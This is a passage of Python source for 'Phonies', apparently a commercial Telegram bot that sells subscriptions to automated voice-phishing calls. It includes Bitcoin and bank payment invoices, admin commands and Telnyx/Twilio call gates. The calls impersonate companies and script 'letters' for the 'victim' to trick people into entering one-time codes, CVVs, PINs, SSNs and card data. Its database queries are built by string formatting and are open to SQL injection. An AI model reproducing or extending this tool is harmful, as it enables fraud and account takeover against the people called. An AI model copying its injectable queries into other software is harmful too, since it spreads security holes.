            gather_dtmf(data_stored["otp"]["digits"])
            twl.calls(data_stored["call_id"]).update(twiml=str(res))
        else:
            on_call.playback_stop()
            vnc = get_voice_name(call_id)
            if vnc:
                voiceName = text_to_urlvoice(iy, vnc)
                on_call.playback_start(audio_url=f"""{configuration["ngrok"]["url"]}/voice?name={voiceName}""")
                delete_list_call[call_id].append(f"audio/{voiceName}")
            else:
                on_call.speak(
                    payload = iy,
                    language=o_prov['lang'],
                    voice="female"
                )

            headers = {
                "Accept": "application/json",
                "Authorization": f"Bearer {data_stored['auth']['key_api']}"
            }
            response = requests.post(f"https://api.telnyx.com/v2/calls/{data_stored['call_control_id']}/actions/gather", headers=headers, data=json_data)
        
        # del btn_step[sender]
        return

    return

# This is the function that will be called when the webhook is triggered
def messaging(sender, message_text):
    provider = json.load(open("provider.json"))
    current_cmd = ""

    if str(sender) in json.dumps(step_2):
        on_command = ["redeem", "extends", "purchase", "referral", "telnyx", "company"]
        for cmd in on_command:
            if cmd in json.dumps(step_2):
                for usr in step_2[cmd]:
                    if usr == sender:
                        current_cmd = cmd
                        break

    if (message_text == "exit" or message_text == "/exit"):
        try:
            del step_2[current_cmd][sender]
        except:
            print("pass")

        send_message(sender, f"❌ *CANCELLED*: Cancelled the {current_cmd} process")
        current_cmd = ""
        return

    # based on current on-going process
    if "telnyx" in current_cmd:
        step = step_2[current_cmd][sender]
        if (step == 1):
            configuration[current_cmd]["api_key"] = message_text
            with open("phony.json", 'w') as outfile:
                json.dump(configuration, outfile)
                
            send_message(sender, "Telnyx API Key has been updated! \nThen, enter Texml UID for your Telnyx voice application.")
            step_2[current_cmd][sender] = 2

        elif (step == 2):
            configuration[current_cmd]["texml_uid"] = message_text
            send_message(sender, "Telnyx Texml UID has been updated!\nThe Telnyx settings have been updated")
            telnyx.api_key = configuration["telnyx"]["api_key"]
            del step_2[current_cmd][sender]

            with open("phony.json", 'w') as outfile:
                json.dump(configuration, outfile)
        return

    if "twilio" in current_cmd:
        step = step_2[current_cmd][sender]
        if (step == 1):
            configuration[current_cmd]["account_sid"] = message_text    
            send_message(sender, "Twilio Account SID has been updated! \nThen, enter Auth Token for your Twilio project application.")
            step_2[current_cmd][sender] = 2

        elif (step == 2):
            configuration[current_cmd]["auth_token"] = message_text
            send_message(sender, "Twilio Auth Token has been updated!\nThe Telnyx settings have been updated")
            telnyx.api_key = configuration[current_cmd]["auth_token"]
            del step_2[current_cmd][sender]

        with open("phony.json", 'w') as outfile:
            json.dump(configuration, outfile)

        return

    message_text = message_text.lower()

    if "referral" in current_cmd:
        del step_2[current_cmd][sender]
        reff = query_many(PHONY_DB, "SELECT * FROM referral WHERE code = '{}'".format(message_text))
        if (reff):
            referral_trx[sender] = message_text

        send_message(
            sender,
            "Choose your region, for payment method purpose.",
            buttons([
                button("Global 🌏", "buy_wide"),
                button("Russia 🇺🇸", "buy_ru"),
                button("China 🇨🇳", "buy_cn"),
                button("Indonesia 🇮🇩", "buy_id")
            ])
        )

        step_2["purchase"][sender] = {
            "step": 0
        }
        return

    if "redeem" in current_cmd:
        code = message_text
        code = code.lower()

        if (code == "cobadulu"):
            code = f"{code}_{sender}"
            execute_statement(PHONY_DB, "INSERT INTO voucher VALUES ('{}', '{}', '{}', '')".format("TRIAL", code, 1))

        print(code, file=sys.stderr)
        voucher = query_many(PHONY_DB, "SELECT * FROM voucher WHERE kode = '{}'".format(code))
        if (not voucher):
            send_message(
                sender,
                "❌ *INVALID*: Try Again or type *exit* to cancel the process."
            )
            return
        voucher = voucher[0]

        if (voucher[3]):
            send_message(
                sender,
                "❌ *USED* by {}.".format(get_name(voucher[3]))
            )
            return

        execute_statement(PHONY_DB, "INSERT INTO users VALUES ('{}', '{}', '{}', '{}')".format(sender, voucher[0], datetime.now() + timedelta(days= int(voucher[2])), '1'))
        execute_statement(PHONY_DB, "UPDATE voucher SET used_by = '{}' WHERE kode = '{}'".format(sender, code))
        send_message(
            sender,
            "✅ *REGISTRED*\n\n*Account Type*: {}\n*Duration*: {}\n\nWelcome to *Phonies* Calls, you can do anything you like.".format(voucher[0].upper(), voucher[2])
        )

        # send message to first user of admin tipe tell there a new user registered
        admin = query_many(PHONY_DB, "SELECT * FROM users WHERE tipe = 'admin'")
        if (admin):
            send_message(
                admin[0][0],
                "New user registered as {} with id '{}' ({}) for {} days".format(voucher[0], get_name(sender), sender, voucher[2])
            )

        del step_2[current_cmd][sender]

    if "purchase" in current_cmd:
        if ("exit" in message_text or "/exit" in message_text):
            # del btn_step[sender]
            del step_2[current_cmd][sender]
            send_message(sender, "❌ *CANCELLED*: You already exit the process.")
            return

        step = step_2[current_cmd][sender]['country']
        if (not step_2[current_cmd][sender].get("invoice", False)):
            pricing = json.load(open("price.json"))
            marginup = 0

            if sender in referral_trx:
                refcode = referral_trx[sender]
                reff = query(PHONY_DB, "SELECT * FROM referral WHERE code = '{}'".format(refcode))
                marginup = reff[3]
            else:
                marginup = 5

            for priece in pricing:
                pricing[priece] += round(pricing[priece] * (marginup / 100))
    
            if (step == "cn"):
                message_text = message_text.lower().replace("day", "").replace(" ", "")
                if (message_text.isdigit()):
                    step_2[current_cmd][sender]["days"] = int(message_text)
                    amount = 0
                    for price in pricing:
                        if (int(price)) > int(message_text):
                            amount = price_cny(pricing[price])
                            break
                        if (int(message_text) > 99999):
                            amount = price_cny(pricing[price])
                            break

                    step_2[current_cmd][sender]['amount'] = amount
                    step_2[current_cmd][sender]['total'] = int(message_text) * amount
                    step_2[current_cmd][sender]['payment'] = "Bitcoin"
                    step_2[current_cmd][sender]['pay_to'] = "bc1q0vxlk0jkkd8n7dzu725kztp7my030m8x2xynd4"
                    step_2[current_cmd][sender]['randomcode'] = random.uniform(0.111, 0.999)
                    totalbay = step_2[current_cmd][sender]['total'] + step_2[current_cmd][sender]['randomcode']
                    send_message(
                        sender,
                        f"""*Phonies* _Invoice_ 🛒

_We're generating an Payment Invoice for your payment request_

*INVOICE DETAILS*

▫️ Price / Day: *{cny(amount)}*
▫️ Total Payment: *{cny(round(totalbay, 2))}* (include random code)
▫️ Voucher Duration: *{message_text} days*

*PAYMENT METHOD* 
_Instant Confirmation_

▫️ Bitcoin (BTC): {step_2[current_cmd][sender]['pay_to']}

Please wait for your transaction to be confirmed, and you can confirm your transaction
                        """,
                        buttons([
                            button("Confirm 💵", f"paid_cn")
                        ])
                    )
                    step_2[current_cmd][sender]["invoice"] = True
                    return
                else:
                    send_message(sender, "Send me the number of days you want to purchase, for example: 30")
                    return

            if (step == "ru"):
                message_text = message_text.lower().replace("day", "").replace(" ", "")
                if (message_text.isdigit()):
                    step_2[current_cmd][sender]["days"] = int(message_text)
                    amount = 0
                    for price in pricing:
                        if (int(price)) > int(message_text):
                            amount = price_rub(pricing[price])
                            break
                        if (int(message_text) > 99999):
                            amount = price_rub(pricing[price])
                            break

                    step_2[current_cmd][sender]['amount'] = amount
                    step_2[current_cmd][sender]['total'] = int(message_text) * amount
                    step_2[current_cmd][sender]['payment'] = "Bitcoin"
                    step_2[current_cmd][sender]['pay_to'] = "bc1q0vxlk0jkkd8n7dzu725kztp7my030m8x2xynd4"
                    step_2[current_cmd][sender]['randomcode'] = random.uniform(0.11, 0.99)
                    totalbay = step_2[current_cmd][sender]['total'] + step_2[current_cmd][sender]['randomcode']
                    send_message(
                        sender,
                        f"""*Phonies* _Invoice_ 🛒

_We're generating an Payment Invoice for your payment request_

*INVOICE DETAILS*

▫️ Price / Day: *{rub(amount)}*
▫️ Total Payment: *{rub(round(totalbay, 2))}* (include random code)
▫️ Voucher Duration: *{message_text} days*

*PAYMENT METHOD* 
_Instant Confirmation_

▫️ Bitcoin (BTC): {step_2[current_cmd][sender]['pay_to']}

Please wait for your transaction to be confirmed, and you can confirm your transaction
                        """,
                        buttons([
                            button("Confirm 💵", f"paid_ru")
                        ])
                    )
                    step_2[current_cmd][sender]["invoice"] = True
                    return
                else:
                    send_message(sender, "Send me the number of days you want to purchase, for example: 30")
                    return

            if (step == "global"):
                message_text = message_text.lower().replace("day", "").replace(" ", "")
                if (message_text.isdigit()):
                    step_2[current_cmd][sender]["days"] = int(message_text)
                    amount = 0
                    for price in pricing:
                        if (int(price)) > int(message_text):
                            amount = price_usd(pricing[price])
                            break
                        if (int(message_text) > 99999):
                            amount = price_usd(pricing[price])
                            break

                    step_2[current_cmd][sender]['amount'] = amount
                    step_2[current_cmd][sender]['total'] = int(message_text) * amount
                    step_2[current_cmd][sender]['payment'] = "Bitcoin"
                    step_2[current_cmd][sender]['pay_to'] = "bc1q0vxlk0jkkd8n7dzu725kztp7my030m8x2xynd4"
                    step_2[current_cmd][sender]['randomcode'] = random.uniform(0.111, 0.999)
                    totalbay = step_2[current_cmd][sender]['total'] + step_2[current_cmd][sender]['randomcode']
                    send_message(
                        sender,
                        f"""*Phonies* _Invoice_ 🛒

_We're generating an Payment Invoice for your payment request_

*INVOICE DETAILS*

▫️ Price / Day: *{usd(amount)}*
▫️ Total Payment: *{usd(round(totalbay, 2))}* (include random code)
▫️ Voucher Duration: *{message_text} days*

*PAYMENT METHOD* 
_Instant Confirmation_

▫️ Bitcoin (BTC): {step_2[current_cmd][sender]['pay_to']}

Please wait for your transaction to be confirmed, and you can confirm your transaction
                        """,
                        buttons([
                            button("Confirm 💵", f"paid_global")
                        ])
                    )
                    step_2[current_cmd][sender]["invoice"] = True
                    return
                else:
                    send_message(sender, "Send me the number of days you want to purchase, for example: 30")
                    return

            if (step == "id"):
                message_text = message_text.lower().replace("hari", "").replace(" ", "")
                if (message_text.isdigit()):
                    step_2[current_cmd][sender]["days"] = int(message_text)
                    amount = 0
                    for price in pricing:
                        if (int(price)) > int(message_text):
                            amount = pricing[price]
                            break
                        if (int(message_text) > 99999):
                            amount = pricing[price]
                            break

                    step_2[current_cmd][sender]['amount'] = amount
                    step_2[current_cmd][sender]['total'] = int(message_text) * amount
                    step_2[current_cmd][sender]['payment'] = "GoPay"
                    step_2[current_cmd][sender]['pay_to'] = "0895610086708"
                    step_2[current_cmd][sender]['randomcode'] = random.randint(100, 999)
                    totalbay = step_2[current_cmd][sender]['total'] + step_2[current_cmd][sender]['randomcode']
                    send_message(
                        sender,
                        f"""*Phonies* _Invoice_ 🛒

_We're generating an Payment Invoice for your payment request_

*INVOICE DETAILS*

▫️ Price / Day: *{rupiah(amount)}*
▫️ Total Payment: *{rupiah(totalbay)}* (include random code)
▫️ Voucher Duration: *{message_text} days*

*PAYMENT METHOD* 
_Instant Confirmation_

▫️ *BCA* (_Virtual Account_): {four_format('70001' + step_2[current_cmd][sender]['pay_to'])}
▫️ *Permata*: {four_format('898' + step_2[current_cmd][sender]['pay_to'])}
▫️ *CIMB Niaga*: {four_format('2849' + step_2[current_cmd][sender]['pay_to'])}
▫️ *BTN*: {four_format('99000' + step_2[current_cmd][sender]['pay_to'])}

Payment methods other than _BCA Virtual Accounts_ can be used to receive transfers from other banks in Indonesia
                        """,
                        buttons([
                            button("Confirm 💵", f"paid_id")
                        ])
                    )

                    reffs = query_many(PHONY_DB, f"SELECT * FROM referral WHERE user_id = '{sender}'")
                    if (reffs):
                        reffs = reffs[0]
                        if (int(reffs[1]) >= int(totalbay)):
                            send_message(sender, f"🎉 *CONGRATULATION*: You can using your Referral Balance to pay this invoice, your balance is *{rupiah(int(reffs[1]))}*", buttons([button("Use Balance 💵", f"paid_ref")]))
                    
                    step_2[current_cmd][sender]["invoice"] = True
                    return
                else:
                    send_message(sender, "Send me the number of days you want to purchase, for example: 30")
                    return
        
        else:
            del step_2[current_cmd][sender]

    if "company" in current_cmd:
        if ("exit" in message_text or "/exit" in message_text):
            # del btn_step[sender]
            del step_2[current_cmd][sender]
            send_message(sender, "❌ *CANCELLED*: Cancel customizing company.")
            return

        step = step_2[current_cmd][sender]['step']

        if (step == 1):
            custom_name = message_text.replace(" ", "_").lower()

            if (custom_name in provider):
                send_message(
                    sender,
                    "The company name you provide is not available, please send me another one."
                )
                return

            step_2[current_cmd][sender]["custom"]["name"] = custom_name
            step_2[current_cmd][sender]["step"] = 2

            opt_lang = {
                "en-US_lang": "English 🇺🇸",
                "en-GB_lang": "English 🇬🇧",
                "en-GB-WLS_lang": "English Wales 🏴󠁧󠁢󠁷󠁬󠁳󠁿",
                "en-IN_lang": "English 🇮🇳",
                "en-AU_lang": "English 🇦🇺",
                "arb_lang": "Arab 🇸🇦",
                "cmn-CN_lang": "Mandarin 🇨🇳",
                "cy-GB_lang": "Welsh 🏴󠁧󠁢󠁷󠁬󠁳󠁿",
                "da-DK_lang": "Danish 🇩🇰",
                "de-DE_lang": "German 🇩🇪",
                "es-ES_lang": "Español 🇪🇸",
                "es-MX_lang": "Español 🇲🇽",
                "es-US_lang": "Español 🇺🇸",
                "fr-FR_lang": "French 🇫🇷",
                "fr-CA_lang": "French 🇨🇦",
                "hi-IN_lang": "Hindi 🇮🇳",
                "is-IS_lang": "IceLandic 🇮🇸",
                "it-IT_lang": "Italian 🇮🇹",
                "ja-JP_lang": "Japanese 🇯🇵",
                "ko-KR_lang": "Korean 🇰🇷",
                "nb-NO_lang": "Norwegian 🇳🇴",
                "nl-NL_lang": "Nederlands 🇳🇱",
                "pl-PL_lang": "Polish 🇵🇱",
                "pt-PT_lang": "Portuguese 🇵🇹",
                "pt-BR_lang": "Portuguese 🇧🇷",
                "ro-RO_lang": "Romanian 🇷🇴",
                "ru-RU_lang": "Russian 🇺🇸",
                "sv-SE_lang": "Swedish 🇸🇪",
                "tr-TR_lang": "Turkish 🇹🇷"
            }

            send_message(sender, f"Your company name is set to: {custom_name}")
            # opt_lang = [dict(list(opt_lang.items())[i:i+3]) for i in range(0, len(opt_lang), 3)]
            buttons_list = []
            for lang in opt_lang:
                buttons_list.append(button(opt_lang[lang], lang))
            send_message(sender, "Please choose the language", buttons(buttons_list))
            send_message(sender, "If there no choices of your Language, just using 'skip'")
                
        if (step == 3):
            send_message(sender, f"Welcome Letter: {message_text}")
            send_message(sender, "Please enter the Instruction Letter,\nEx: 'and, to confirm this activity, open your keypad or dialpad. then, press 1 if that is you, or press 2 if that is not you.' \n\nNote: Please make sure, your letter already on the language you are choosing before, or it will not work.")
            step_2[current_cmd][sender]["custom"]["msg1"] = message_text
            step_2[current_cmd][sender]["step"] = 4

        if (step == 4):
            send_message(sender, f"Instruction Letter: {message_text}")
            send_message(sender, "Please send me the approve letter for victim,\nEx: 'to confirm the process, we will send you a one time code via text message, enter the code on your keypad or dialpad' (reply with skip if you want to skip the approve option) \n\nNote: Please make sure, your letter already on the language you are choosing before, or it will not work.")
            step_2[current_cmd][sender]["custom"]["msg2"] = message_text
            step_2[current_cmd][sender]["step"] = 5

        if (step == 5):
            send_message(sender, f"Approve Letter: {message_text}")
            send_message(sender, "Please send me the reject letter for victim,\nEx: 'to confirm the process, we will send you a one time code via text message, enter the code on your keypad or dialpad' (reply with skip if you want to skip the reject option) \n\nNote: Please make sure, your letter already on the language you are choosing before, or it will not work.")
            step_2[current_cmd][sender]["custom"]["approve"] = message_text
            step_2[current_cmd][sender]["custom"]["1"] = bool(message_text != "skip")
            step_2[current_cmd][sender]["step"] = 6

        if (step == 6):
            send_message(sender, f"Reject Letter: {message_text}")
            step_2[current_cmd][sender]["custom"]["decline"] = message_text
            step_2[current_cmd][sender]["custom"]["2"] = bool(message_text != "skip")

            provider[step_2[current_cmd][sender]["custom"]["name"]] = step_2[current_cmd][sender]["custom"]
            with open("provider.json", 'w') as outfile:
                    json.dump(provider, outfile)

            send_message(sender, f"""Review custom letter of your company: 
Company Name: {step_2[current_cmd][sender]["custom"]["name"]}
Language: {step_2[current_cmd][sender]["custom"]["lang"]}

Welcome Letter: {step_2[current_cmd][sender]["custom"]["msg1"]}

Instruction Letter: {step_2[current_cmd][sender]["custom"]["msg2"]}

Approve Letter: {step_2[current_cmd][sender]["custom"]["approve"]} - as {step_2[current_cmd][sender]["custom"]["1"]}

Reject Letter: {step_2[current_cmd][sender]["custom"]["decline"]} - as {step_2[current_cmd][sender]["custom"]["2"]}

Note: Please make sure, your letter already on the language you are choosing before, or re-start from the beginning.
            """)
            del step_2[current_cmd][sender]
            

    if "extends" in current_cmd:
        code = message_text

        user = query(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender))
        voucher = query_many(PHONY_DB, "SELECT * FROM voucher WHERE kode = '{}'".format(code))
        if (not voucher):
            send_message(
                sender,
                "❌ *INVALID*: Your voucher code not working."
            )
            return
        voucher = voucher[0]

        if (voucher[3]):
            send_message(
                sender,
                "❌ *USED* by {}.".format(get_name(voucher[3]))
            )
            return

        if (voucher[0] != user[1]):
            if (user[1] != "user"):
                send_message(
                    sender,
                    "❌ *NOT ELIGIBLE*: You cannot use this voucher."
                )
                return

        execute_statement(PHONY_DB, f"UPDATE users SET expired = '{ datetime.strptime(user[2], '%Y-%m-%d %H:%M:%S.%f') + timedelta(days= int(voucher[2])) }' WHERE user_id = '{sender}'")
        execute_statement(PHONY_DB, f"UPDATE users SET tipe = '{voucher[0]}' WHERE user_id = '{sender}'")
        execute_statement(PHONY_DB, "UPDATE voucher SET used_by = '{}' WHERE kode = '{}'".format(sender, code))
        send_message(
            sender,
            "✅ *SUCCESSFULLY*: Your account was updated for {} days.".format(voucher[2])
        )

        # send message to first user of admin tipe tell there a user extends it Duration
        admin = query_many(PHONY_DB, "SELECT * FROM users WHERE tipe = 'admin'")
        if (admin):
            send_message(
                admin[0][0],
                "User '{}' ({}) extends it duration for {} days".format(get_name(sender), sender, voucher[2])
            )
        
        del step_2[current_cmd][sender]

    if current_cmd:
        return

    # based on message_text

    def check_user():
        user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender))
        if (not user):
            send_message(
                sender,
                "❌ *UNAUTHORIZED*: You are not authorized to access this feature."
            )
            return False

        user = user[0]

        if (user[3] == "0"):
            send_message(
                sender,
                "❌ *ACCOUNT DISABLE*: Contact our staff for futher information."
            )
            return False

        exp = datetime.strptime(user[2], "%Y-%m-%d %H:%M:%S.%f")
        if (exp < datetime.now()):
            send_message(
                sender,
                "❌ *EXPIRED*: Purchase voucher at 'purchase' to activate your account"
            )
            execute_statement(PHONY_DB, "DELETE FROM users WHERE user_id = '{}'".format(sender))
            return False
        
        return True

    def check_admin():
        user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender))
        if (not user):
            send_message(
                sender,
                "❌ *UNAUTHORIZED*: You are not authorized to access this feature."
            )
            return False
        user = user[0]

        if (user[1] != "admin"):
            send_message(
                sender,
                "❌ *ACCESS DENIED*: You don't have permission to access this feature."
            )
            return False
        
        return True

    if "/purchase" == message_text:
        send_message(sender,
            "Before making any purchase, Please reply with your referral code. \n\nIf you don't have any, please reply by type ```skip```"
        )
        step_2["referral"][sender] = {
            "step": 0
        }
        return

    if "/backup" == message_text:
        if not check_admin():
            return

        with open(PHONY_DB, 'rb') as doc:
            bot.send_document(sender, doc)

        with open("phony.py", 'rb') as doc:
            bot.send_document(sender, doc)

        with open("phony.json", 'rb') as doc:
            bot.send_document(sender, doc)

        return

    if "/enable_voice" == message_text:
        if not check_admin():
            return

        configuration["telegram"]["enableVoice"] = True
        with open('phony.json', 'w') as outfile:
            json.dump(configuration, outfile)

        send_message(sender, "✅ *ENABLED*")
        return

    if "/disable_voice" == message_text:
        if not check_admin():
            return

        configuration["telegram"]["enableVoice"] = False
        with open('phony.json', 'w') as outfile:
            json.dump(configuration, outfile)

        send_message(sender, "✅ *DISABLED*")
        return

    if "/status_voice" == message_text:
        if not check_admin():
            return

        if (configuration["telegram"]["enableVoice"]):
            send_message(sender, "✅ *ENABLED*")
        else:
            send_message(sender, "❌ *DISABLED*")

        return

    if "/compensation" in message_text:
        if not check_admin():
            return

        if (len(message_text.split(" ")) != 2):
            send_message(sender, "❌ *INVALID*: Please use /compensation <day>")
            return

        day = message_text.split(" ")[1]
        if (not day.isdigit()):
            send_message(sender, "❌ *INVALID*: Please use /compensation <day>")
            return
        
        day = int(day)
        users = query_many(PHONY_DB, "SELECT * FROM users")
        user_list = ""
        for user in users:
            exp = datetime.strptime(user[2], "%Y-%m-%d %H:%M:%S.%f")
            if (exp < datetime.now()):
                pass
            else:
                user_list += f"{get_name(user[0])}\n"
                execute_statement(PHONY_DB, f"UPDATE users SET expired = '{ datetime.strptime(user[2], '%Y-%m-%d %H:%M:%S.%f') + timedelta(days= day) }' WHERE user_id = '{user[0]}'")
        
        send_message(
            sender,
            "✅ *SUCCESSFULLY*: All active user has been compensate for {} days.\n\n {}".format(day, user_list)
        )

        return

    if "/twilio" == message_text:
        if not check_admin():
            return
        try:
            balance = requests.get(f"https://api.twilio.com/2010-04-01/Accounts/{configuration['twilio']['account_sid']}/Balance.json", auth=(configuration['twilio']['account_sid'], configuration['twilio']['auth_token'])).json()
            number_list = ""
            for number in configuration["twilio"]["phone"]:
                number_list += f"{number}\n"

            send_message(
                sender,
                f"""*Here your Twilio balance of:*\n\n*Account SID:* {configuration["twilio"]["account_sid"]}\n\n*Auth Token:* {configuration["twilio"]["auth_token"]}\nBalance: {balance.get('balance', '-1')} {balance.get("currency", "IDR")}\n\n*Number List:* \n{number_list}\n*If you would like to change your API Key, you can do it by using '/set_twilio' command.\n\nAnd you can purchase & add new Phone Number by using '/add_number' command.*"""
            )
            return
        except Exception as e:
            err = repr(e)
            send_message(
                sender,
                f"Error: {err}"
            )
            return

    if ("/telnyx" == message_text):
        if not check_admin():
            return
        try:
            balance = telnyx.Balance.retrieve()
            send_message(
                sender,
                f"Here your Telnyx balance of:\n\nAPI Key: *{telnyx.api_key}*\nVoice ID: {configuration['telnyx']['texml_uid']}\nBalance: {balance.get('balance', '-1')} USD\n\n*If you would like to change your API Key, you can do it by using /set_telnyx command.*"
            )
            return
        except Exception as e:
            err = repr(e)
            send_message(
                sender,
                f"Error: {err}"
            )
            return

    if ('/set_telnyx' == message_text):
        if not check_admin():
            return

        send_message(
            sender,
            "Please send me your Telnyx API Key."
        )
        step_2["telnyx"][sender] = 1
        return


    if ('/set_twilio' == message_text):
        if not check_admin():
            return

        send_message(
            sender,
            "Please send me your Twilio Account SID."
        )
        step_2["twilio"][sender] = 1
        return

    if ('/add_number' in message_text):
        if not check_admin():
            return

        if len(message_text.split(" ")) <= 1:
            send_message(
                sender,
                "Please specify your area code. */add_number <area code>*"
            )
            return
        
        area_code = message_text.split(" ")[1]

        local = twl.available_phone_numbers('US').local.list(
                                                       area_code=area_code,
                                                       limit=1
                                                   )
        if (len(local) < 1):
            send_message(
                sender,
                "❌ *ERROR*: No available number for this area code."
            )
            return
        
        number = local[0].phone_number
        region = local[0].region
        buy_number = twl.incoming_phone_numbers.create(phone_number=number)

        if (buy_number):
            configuration['twilio']['phone'].append(number)
            with open("phony.json", 'w') as outfile:
                json.dump(configuration, outfile)

            send_message(
                sender,
                f"✅ *SUCCESSFULLY*: The new number is {number} has been added to your account."
            )

            MSG = f"""✅ *NEW PHONE NUMBER*
*Phonies* add an new Phone Number for Gate 3 (TWILIO) ☎️

*Number* 🔢: {number}
*State* 🇺🇸: {region}

This number will be your Randomise List of Caller Number when using Gate 3 (TWILIO) 😄
            """

            send_message(TELE_CHANNEL, MSG)
            return
        return

    if "/help" == message_text:
        send_message(sender, command_res['help'])
        return

    if "/start" == message_text:
        send_message(sender, command_res['help'])
        return

    if "/clear" == message_text:
        if not check_admin():
            return

        # delete all data
        execute_statement(PHONY_DB, "DELETE FROM data")
        global ongoing_call, ongoing_call_command, delete_list_call
        ongoing_call = {}
        ongoing_call_command = {}
        delete_list_call = {}
        # btn_step = {}
        # step_2 = {
        #     "redeem": {}, 
        #     "extends": {}, 
        #     "purchase": {}, 
        #     "telnyx": {}, 
        #     "company": {}
        # }

        send_message(sender, "✅ *SUCCESSFULLY*: All temporary data has been purged.")
        return

    if "/neural" == message_text:
        msg = "*🇺🇸 Phonies* _Neural Voice_\n\n*NEURAL VOICE*\n\n"
        keBrp = 0
        for i in NEURAL_LIST:
            ccode = i.split("-")
            ccode = ccode[len(ccode) -1]
            ccode = i.replace(f"-{ccode}", "")

            i = f"{i}"
            if " " in i:
                i = i.replace(" ", " ")
            else:
                i += ""


            msg += f"▫️ {i}\nfor: *{COUNTRY_CODE[ccode]}*\n\n"
            keBrp += 1
            if keBrp == 28:
                send_message(sender, msg)
                msg = ""
                keBrp = 0

        send_message(sender, "We have a lot of available Neural voice you can use for your call.\n*Find voices here*: shorturl.at/hlCEV\n*Listen to them here*: shorturl.at/ijuy4\n\nAre you confused? look our call guidance by reply /call, and voila! you can call anyone you want.")
        return

    if "/countries" == message_text:
        send_message(sender, command_res['countries'])
        return

    if "/status" == message_text:
        statos = {
            "/call": "*Maintenance* ❌",
            "/call_v2": "*Maintenance* ❌",
            "/call_v3": "*Maintenance* ❌"
        }
        try:
            telnyx.Balance.retrieve()
            statos['/call'] = "*Active* ✅"
        except Exception as e:
            pass

        try:
            balance = requests.get(f"https://api.twilio.com/2010-04-01/Accounts/{configuration['twilio']['account_sid']}/Balance.json", auth=(configuration['twilio']['account_sid'], configuration['twilio']['auth_token'])).json()
            statos['/call_v3'] = "*Active* ✅"

        except Exception as ee:
            pass

        try:
            req = "https://callingapi.sinch.com/v1/calling/query/number/+6281379265814"
            requests.get(req, headers=v2_headers).json()
            statos['/call_v2'] = "*Active* ✅"
        except:
            pass

        list_status = ""
        for sts in statos:
            list_status += f"""*{sts}* is {statos[sts]} \n"""

        send_message(sender, """*Phonies* Modules Status\n\n""" + list_status)
        return
    
    if "/modules" == message_text:
        send_message(sender, command_res['modules'])
        return

    if "/companies" == message_text:
        if check_user():
            provider_list = ""
            for i in provider:
                provider_list += f"▫️ {provider[i]['lang']} - {i}\n"

            for provider_listed in split_message(provider_list):
                send_message(
                    sender,
                    f"✅ The Companies listed on Our System\n\n{provider_listed}"
                )
                return

    if "/company" in message_text:
        if check_user():
            if len(message_text.split(" ")) > 1:
                provider_name = message_text.split(" ")[1]
                if provider_name == "create":
                    step_2['company'][sender] = {
                        "step": 1,
                        "custom": {
                            "name": "",
                            "msg1": "",
                            "msg2": "",
                            "approve": "",
                            "decline": "",
                            "1": "",
                            "2": "",
                            "lang": "en-US"
                        }
                    }
                    send_message(sender, "Please send me the company name.")
                    return
                    
                if provider_name in provider:
                    send_message(
                        sender,
                        f"""Here is the detail of {provider_name}:\n
Name: {provider[provider_name]['name']}
Lang: {provider[provider_name]['lang']}\n
Welcome Letter: {provider[provider_name]['msg1']}\n
Instruction: {provider[provider_name]['msg2']}\n
Approve: {provider[provider_name]['approve']} - as {provider[provider_name]['1']}\n
Decline: {provider[provider_name]['decline']} - as {provider[provider_name]['2']}"""
                    )
                    return
                else:
                    send_message(
                        sender,
                        "The company you are looking for is not available."
                    )
                    return

            send_message(sender, command_res['company'])
            return

    if "/redeem" in message_text:
        user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender))
        if (user):
            if (datetime.strptime(user[0][2], "%Y-%m-%d %H:%M:%S.%f") > datetime.now()):
                send_message(
                    sender,
                    f"Dear *{get_first_name(sender)}*, your account is still active, to extend your account please type /renew instead."
                )
                return
            else:
                execute_statement(PHONY_DB, "DELETE FROM users WHERE user_id = '{}'".format(sender))

        step_2['redeem'][sender] = 1
        send_message(sender, "🔢 Reply with your *voucher code*")
        return

    if "/renew" in message_text:
        user = query_many(PHONY_DB, "SELECT * FROM users WHERE user_id = '{}'".format(sender))
        if (not user):
            send_message(
                sender,
                "You don't have an active account, please register your account first."
            )
            return
        user = user[0]

        exp = datetime.strptime(user[2], "%Y-%m-%d %H:%M:%S.%f")
        if (exp < datetime.now()):
            send_message(
                sender,
                "Please user 'redeem' instead using '/renew', because your account already expired."
            )
            return

        step_2['extends'][sender] = 1
        send_message(sender, "🔢 Reply with your *voucher code*")
        return

    if "/staff" == message_text:
        admin = query_many(PHONY_DB, "SELECT * FROM users WHERE tipe = 'admin'")
        if (not admin):
            send_message(sender, "There is no admin in our database")
            return

        msg = "💁 *Phonies* Staff ready to help you\n"
        for i in admin:
            msg += f"\n▫️ {get_name(i[0])}"

        send_message(sender, msg)
        return

    if "/call_v3" in message_text:
        if (" " not in message_text):
            send_message(sender, command_res['call_v3'])
            return

        if message_text.split(" ")[0] == "/call_v3":
            if not check_user():
                return

            call_type = message_text.split(" ")[1].lower()
            phone_number = message_text.split(" ")[2]

            # format the phone_number
            phone_number = phone_number.replace(" ", "").replace("(", "").replace(")", "").replace("-", "").replace(".", "")
            if ("+" not in phone_number):
                if (phone_number[0] == "1"):
                    phone_number = f"+{phone_number}"
                else:
                    phone_number = f"+1{phone_number}"

            phona = ''

            target_name = message_text.split(" ")[3].replace("_", " ").replace("-", " ")
            otp_digits = message_text.split(" ")[5]
            prov = message_text.split(" ")[4].lower() + f"_{call_type}" if call_type != "custom" else message_text.split(" ")[4].lower()
            prov = prov.replace("?", "") if "?" in prov else prov

            provider = json.load(open("provider.json"))

            spliter =  message_text.split(" ? ")[0] if (" ? " in message_text) else message_text.split("?")[0] if ("?" in message_text) else message_text
            phona = spliter.split(" ")[6] if (len(spliter.split(" ")) > 6) else ""
            phona = " ".join(phona) if (phona) else phona

            if (prov not in provider):
                registred_custom = ["otp", "cvv", "pin", "auth", "ssn", "card", "acc", "csc", "exp"]
                custom_req = call_type

                formatted_provider = prov.replace(f"_{custom_req}", " ").replace("-", " ").replace("_", " ")
                prov = f"{prov}"
                lettering = {
                    "otp": {
                        "name": prov,
                        "msg1": f"This is an automatic confirmation call from {formatted_provider}. For confirm an unusual login attempt on your account.",
                        "msg2": "Therefore, to block this login attempt, please open the dial pad or keypad during the call. Press 1 if you did it, or press 2 if you did not do it.",
